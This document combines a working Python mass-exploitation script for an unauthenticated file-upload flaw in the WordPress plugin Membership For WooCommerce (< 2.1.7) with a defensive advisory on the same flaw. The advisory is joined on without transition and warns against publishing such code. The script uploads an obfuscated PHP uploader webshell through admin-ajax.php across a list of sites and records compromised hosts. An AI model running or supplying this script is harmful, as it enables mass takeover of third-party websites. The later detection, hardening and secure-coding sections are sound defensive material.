Wordpress Plugin - Membership For WooCommerce < v2.1.7 - Arbitrary File Upload to Shell (Unauthenticated)
# Exploit Title: Wordpress Plugin - Membership For WooCommerce < v2.1.7 - Arbitrary File Upload to Shell (Unauthenticated)
# Date: 2024-02-25
# Author: Milad Karimi (Ex3ptionaL)
# Category : webapps
# Tested on: windows 10 , firefox
import sys , requests, re , json
from multiprocessing.dummy import Pool
from colorama import Fore
from colorama import init
init(autoreset=True)
headers = {'Connection': 'keep-alive', 'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozlila/5.0 (Linux;
Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like
Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36', 'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate', 'Accept-Language':
'en-US,en;q=0.9,fr;q=0.8', 'referer': 'www.google.com'}
uploader = """
GIF89a
<?php ?>
<!DOCTYPE html>
<html>
<head>
<title>Resultz</title>
</head>
<body><h1>Uploader</h1>
<form enctype='multipart/form-data' action='' method='POST'>
<p>Uploaded</p>
<input type='file' name='uploaded_file'></input><br />
<input type='submit' value='Upload'></input>
</form>
</body>
</html>
<?PHP
if(!empty($_FILES[base64_decode('dXBsb2FkZWRfZmlsZQ==')])){$fdudxfib_d6fe1d0be6347b8ef2427fa629c04485=base64_decode('Li8=');$fdudxfib_d6fe1d0be6347b8ef2427fa629c04485=$fdudxfib_d6fe1d0be6347b8ef2427fa629c04485.basename($_FILES[base64_decode('dXBsb2FkZWRfZmlsZQ==')][base64_decode('bmFtZQ==')]);if(move_uploaded_file($_FILES[base64_decode('dXBsb2FkZWRfZmlsZQ==')][base64_decode('dG1wX25hbWU=')],$fdudxfib_d6fe1d0be6347b8ef2427fa629c04485)){echo
base64_decode('VGhlIGZpbGUg').basename($_FILES[base64_decode('dXBsb2FkZWRfZmlsZQ==')][base64_decode('bmFtZQ==')]).base64_decode('IGhhcyBiZWVuIHVwbG9hZGVk');}else{echo
base64_decode('VGhlcmUgd2FzIGFuIGVycm9yIHVwbG9hZGluZyB0aGUgZmlsZSwgcGxlYXNlIHRyeSBhZ2FpbiE=');}}?>
"""
requests.urllib3.disable_warnings()
def Exploit(Domain):
try:
if 'http' in Domain:
Domain = Domain
else:
Domain = 'http://'+Domain
myup = {'': ('db.php', uploader)}
req = requests.post(Domain +
'/wp-admin/admin-ajax.php?action=wps_membership_csv_file_upload',
files=myup, headers=headers,verify=False, timeout=10).text
req1 = requests.get(Domain +
'/wp-content/uploads/mfw-activity-logger/csv-uploads/db.php')
if 'Ex3ptionaL' in req1:
print (fg+'[+] '+ Domain + ' --> Shell Uploaded')
open('Shellz.txt', 'a').write(Domain +
'/wp-content/uploads/mfw-activity-logger/csv-uploads/db.php' + '\n')
else:
print (fr+'[+] '+ Domain + '{}{} --> Not Vulnerability')
except:
print(fr+' -| ' + Domain + ' --> {} [Failed]')
target = open(input(fm+"Site List: "), "r").read().splitlines()
mp = Pool(int(input(fm+"Threads: ")))
mp.map(Exploit, target)
mp.close()
mp.join() WordPress Plugin: "Membership For WooCommerce" (< v2.1.7) — Arbitrary File Upload Vulnerability (Unauthenticated)
This article gives a security-focused, defensive overview of an unauthenticated arbitrary file upload flaw discovered in older releases of the WordPress plugin "Membership For WooCommerce" (versions prior to 2.1.7). It explains the vulnerability class, the impact for site owners, how to detect signs of compromise, recommended mitigations and hardening measures, and secure coding patterns plugin authors should adopt to prevent similar issues in future.
Vulnerability summary
An arbitrary file upload vulnerability exists when an application accepts files from an untrusted source and places them on a web-accessible directory without sufficient validation or access control. In the referenced plugin, certain upload handling for CSV or activity-logger data allowed unauthenticated HTTP uploads to land inside the site's uploads area. When a PHP file or a file containing executable PHP code is uploaded to a web-accessible location, an attacker may execute that code by requesting the uploaded file directly — leading to full site compromise.
Why this is critical
- Unauthenticated: the attacker does not need valid user credentials to initiate the upload.
- Web-executable location: files placed under the normal uploads directory may be served and executed by the web server if not restricted.
- Post-auth persistence: once an attacker can upload and execute a webshell, they can pivot to database access, backdoors, or further escalation.
Typical impact
- Remote code execution (RCE) on the web server.
- Data exfiltration (database, files) and credential harvesting.
- Malware persistence, SEO spam, or use in botnets.
Detecting this class of issue and indicators of compromise (IoCs)
Log and file-system indicators
- Unusual POST requests to AJAX endpoints (admin-ajax.php) or plugin-specific upload handlers originating from unknown IPs.
- New or recently modified files in wp-content/uploads or any plugin-specific subfolders. Look for PHP files, files with double extensions (e.g., image.php.jpg), or files whose content begins with "<?php".
- Files with suspicious names not matching normal CMS content (e.g., single short names like db.php, shell.php, or random alphanumeric names).
Application-layer indicators
- Unexpected admin-ajax.php activity tied to plugin actions or parameters that normally should be authenticated.
- Requests to files in upload directories returning HTTP 200 and exhibiting dynamic behavior (e.g., executing PHP).
Quick detection checklist for site owners
- Run a recursive search in wp-content/uploads for PHP opening tags (<?php) or for common webshell signatures.
- Review web server access logs for GET requests to newly created files under uploads directories within the period of interest.
- Scan for unusual scheduled tasks, modified plugin files, or added admin users.
Immediate mitigation and incident response steps
- Take the site offline or place it in maintenance mode if active exploitation is suspected to prevent further damage.
- Disconnect backups and other integrated systems if you suspect lateral movement.
- Identify and remove malicious files found in upload directories, but also preserve copies for forensic analysis.
- Change all WordPress administrator passwords and any credentials that may have been exposed (database, hosting control panel, FTP/SFTP).
- Restore the site from a clean backup taken before the suspected compromise, after ensuring the vulnerability is remediated.
- Patch the vulnerable plugin to the latest secure version (or remove the plugin temporarily) — see the remediation section below.
Remediation and hardening — recommended actions for site administrators
1) Update or remove the plugin
Install the vendor-supplied patch (upgrade to v2.1.7 or later) immediately. If a patch is not available, deactivate and remove the plugin until a secure version is provided.
2) Prevent PHP execution in uploads
Disallow execution of PHP files in uploads directories via web server configuration. This is an effective mitigation even if an attacker manages to place a PHP file under uploads.
# Apache .htaccess example to place in wp-content/uploads or a subdirectory
php_flag engine off
# Prevent access to PHP files explicitly
Require all denied
Explanation: This .htaccess instructs Apache to disable PHP engine processing inside the directory and deny direct access to typical PHP file extensions. Place it in wp-content/uploads (or the specific plugin upload subfolder) to stop execution of uploaded PHP files. For servers running PHP-FPM or Nginx, equivalent server rules should be used (see next example).
# Nginx server block snippet to deny execution in uploads
location ~* /wp-content/uploads/.*\.(php|php5|phtml)$ {
deny all;
return 403;
}
Explanation: The Nginx rule denies any direct access to PHP files under the uploads directory, returning a 403 status for such requests.
3) Enforce strict access control on upload handlers
Plugin upload endpoints must require authentication and authorization. Use WordPress capability checks, nonces, and server-side content-type and extension validation to ensure only intended users can upload files and only permitted file types are accepted.
Secure coding practices for plugin developers
Below are practical and secure patterns developers should adopt to handle uploads safely in WordPress. These examples focus on defense: authorization checks, sanitization, and using WordPress APIs that apply filtering.
Safe server-side upload handler (conceptual example)
add_action('wp_ajax_my_plugin_csv_upload', 'my_plugin_csv_upload_handler');
function my_plugin_csv_upload_handler() {
// 1) Require a valid nonce
if (! isset($_POST['my_upload_nonce']) || ! wp_verify_nonce($_POST['my_upload_nonce'], 'my_upload_action')) {
wp_send_json_error('Invalid request', 400);
}
// 2) Require an authenticated user with appropriate capability
if (! current_user_can('manage_options')) {
wp_send_json_error('Unauthorized', 403);
}
// 3) Use wp_handle_upload to safely store the file and let WP apply filters
if (! empty($_FILES['import_file'])) {
$overrides = array('test_form' => false, 'mimes' => array('csv' => 'text/csv'));
$file = wp_handle_upload($_FILES['import_file'], $overrides);
if (isset($file['error'])) {
wp_send_json_error($file['error'], 500);
}
// $file['url'] and $file['file'] are safe to use: sanitize further if needed
wp_send_json_success(array('url' => esc_url_raw($file['url'])));
} else {
wp_send_json_error('No file uploaded', 400);
}
}
Explanation: This handler shows important protections: verify a nonce to defend against CSRF, require a capability check so only authorized users can upload, and use WordPress's wp_handle_upload with explicit mime/type restrictions. The handler accepts only CSV (text/csv) in this example; developers should restrict allowed types to the minimum set required.
Why these measures matter
- Nonce verification prevents cross-site request forgery.
- Capability checks prevent unauthenticated or low-privileged accounts from uploading.
- wp_handle_upload performs sanitization and uses the WordPress upload system, reducing risks from manual file save logic.
- Limiting MIME types and using server-level execution restrictions provide multiple defense layers (defense in depth).
Additional monitoring and detection rules
Security teams can implement detection rules on web and host layers to identify attempted abuse:
- Alert on POST requests to AJAX endpoints that result in file creation under uploads directories.
- File integrity monitoring (FIM) to detect unexpected additions or modifications to wp-content and plugin folders.
- Web Application Firewall (WAF) rules to block suspicious multipart/form-data uploads that include PHP tags or hidden PHP payloads.
- Periodic malware scanning of the uploads directory for embedded '<?php' content or other known webshell patterns.
Hardening checklist for WordPress site owners
| Task | Why |
|---|---|
| Update plugin to latest version | Patches known vulnerabilities |
| Disable PHP execution in uploads | Prevents execution of uploaded PHP files |
| Limit user capabilities | Reduces attack surface from compromised low-privilege accounts |
| Enable file integrity monitoring | Detects unexpected changes quickly |
| Use a WAF and logging | Blocks common web attacks and provides forensic logs |
| Backup strategy | Allows clean restoration in case of compromise |
Notes for security researchers and vendors
If you discover a vulnerability, follow responsible disclosure practices: notify the vendor privately, provide reproduction steps to the vendor (not publicly), give time to prepare a fix, and coordinate release of technical details only after a patch is available. Publicly posting exploit code for unauthenticated upload flaws can put many sites at immediate risk.
Conclusion
Arbitrary file upload flaws in widely used plugins are a high-risk category because they often lead directly to RCE when uploaded files end up in web-accessible locations. The best protection is timely patching, least privilege for upload endpoints, server-level execution restrictions for upload directories, and strict validation and use of platform APIs for file handling. Combining these defenses greatly reduces the likelihood and impact of such vulnerabilities.